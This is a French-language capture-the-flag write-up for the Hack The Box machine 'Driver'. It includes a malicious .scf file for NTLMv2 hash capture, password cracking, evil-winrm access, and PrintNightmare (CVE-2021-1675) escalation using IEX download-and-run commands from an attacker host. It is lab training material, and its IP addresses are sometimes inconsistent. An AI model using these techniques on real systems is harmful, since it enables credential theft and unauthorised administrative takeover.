Driver HackTheBox (Writeup)

Hack The Boxapp.hackthebox.com

Skills:

• Password Guessing

• SCF Malicious File

• Print Spooler Local Privilege Escalation (PrintNightmare) [CVE-2021-1675]

Reconnaissance:

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap : Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap :

nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts

Analyse des ports ouverts avec extractport :

Utilisation de la fonction extractport pour afficher de manière synthétique les ports ouverts et les copier dans le presse-papiers.

Scan de la version des ports avec Nmap : Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p80,135,445 -oN targeted

Pour résoudre les noms de domaine en adresses IP via DNS, on insère dans le fichier /etc/hosts le nom de domaine associé à son adresse IP:

Analyse du port 80 :

Le port 80 héberge un serveur web avec un panneau de connexion.

En analysant avec WhatWeb, on identifie un nom d’utilisateur par défaut : admin.

Tentative de connexion avec admin:admin comme identifiant.

MFP Firmware Upadate center:

Le site propose une option de téléchargement de firmware. Le message indique :

Sélectionnez le modèle d'imprimante et téléchargez la mise à jour du firmware correspondante sur notre partage de fichiers. Notre équipe de test examinera les téléchargements manuellement et commencera les tests prochainement.

Exploitation - SCF Malicious File :

Création d'un fichier malveillant .scf pour capturer le NTLMv2 d’un utilisateur lorsqu’il l’ouvre :

[Shell]
Command=2
IconFile=\\10.10.14.7\smbFolder\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Mise en écoute avec impacket pour capturer le NTLMv2 :

impacket-smbserver smbFolder $(pwd) -smb2support

Capture du hash NTLMv2 de l'utilisateur tony.

Craquage du hash NTLM avec John :

john --wordlist=/usr/share/wordlists/rockyou.txt hash

tony:liltony

Connexion SMB et WinRM:

Vérification des accès avec CrackMapExec :

crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'

Connexion WinRM avec CrackMapExec :

crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'

Prise de contrôle avec Evil-WinRM :

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

Flag user.txt:

Élévation de Privilège :

1. Énumération avec PowerUp :

• Téléchargement du script PowerUp.ps1 sur la machine d’attaque et ajout de la commande Invoke-AllChecks à la fin pour lancer toutes les vérifications.

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1raw.githubusercontent.com

Transfert du script vers la machine victime via un serveur HTTP Python :

python3 -m http.server 80

Exécution sur la machine cible :

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')

Résultat : Aucun élément pertinent trouvé.

2. Énumération avec winPEAS :

Release Release refs/heads/master 20241101-6f46e855 · peass-ng/PEASS-ngGitHub

Transfert de l’outil winPEASx64.exe vers la machine victime :

upload winPEASx64.exe

Exploitation de PrintNightmare [CVE-2021-1675] :

Un processus spoolsv vulnérable est détecté, écoutant sur un port TCP.

Utilisation d'un script d'exploit pour PrintNightmare, disponible sur GitHub.

GitHub - calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)GitHub

voila les commandes a executter

1. Transfert du script pour éviter le blocage par Windows Defender :

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')

1. Création d’un utilisateur administrateur nommé jordan :

Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 

jordan:jordan1234!$

Statut : L’utilisateur jordan est désormais dans le groupe administrateurs.

Connexion avec les Privilèges Administrateurs

Connexion à la machine via WinRM avec Evil-WinRM :

evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'

Flag root :)